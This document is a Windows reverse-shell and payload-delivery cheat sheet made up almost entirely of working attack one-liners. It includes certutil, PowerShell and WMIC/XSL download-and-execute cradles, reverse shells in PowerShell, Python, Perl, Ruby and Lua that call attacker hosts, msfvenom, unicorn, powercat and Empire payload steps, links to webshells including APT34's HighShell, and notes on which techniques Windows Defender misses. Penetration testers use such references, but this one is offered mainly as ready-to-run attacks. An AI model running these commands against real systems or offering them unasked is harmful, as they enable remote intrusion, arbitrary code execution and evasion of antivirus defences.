Windows Shells

Certutil

Download a B64dll, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Download a B64exe, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Detected by defender

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Detected by defender

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Process performing network call: powershell.exe Payload written on disk: NO (at least nowhere I could find using procmon !)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

One liner:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

PS-Bat

\\webdavserver\folder\batchfile.bat

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat

Detected by defender

Wmic

wmic os get /format:"https://webserver/payload.xsl"

Process performing network call: wmic.exe Payload written on disk: IE local cache

Example xsl file:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

Extracted from here

Not detected

You can download & execute very easily a Koadic zombie using the stager wmic

ASPX

awen webshell

https://github.com/xl7dev/WebShell/blob/master/Aspx/awen%20asp.net%20webshell.aspx

HighShell WebShell

https://github.com/misterch0c/APT34/blob/master/Webshells_and_Panel/HighShell/HighShell.aspx

Powershell Shells

https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/

PS-Nishang

https://github.com/samratashok/nishang

In the Shells folder there are a lot of different shells. To download and execute Invoke-PowerShellTcp.ps1 make a copy of the script, append to the end of the file:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Start serving the script in a web server and execute in the victim:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

TODO: Check other nishang shells

PS-Powercat

https://github.com/besimorhino/powercat

Download, start web server, star listener and execute in victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

Other options offered by powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Create a powershell launcher, save it in a file and download and execute it.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Detected as malicious code

MSF-Unicorn

https://github.com/trustedsec/unicorn

Create a powershell version of metasploit backdoor using unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Start msfconsole with the created resource:

msfconsole -r unicorn.rc

Start a web server serving the powershell_attack.txt file and execute in the victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Detected as malicious code

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'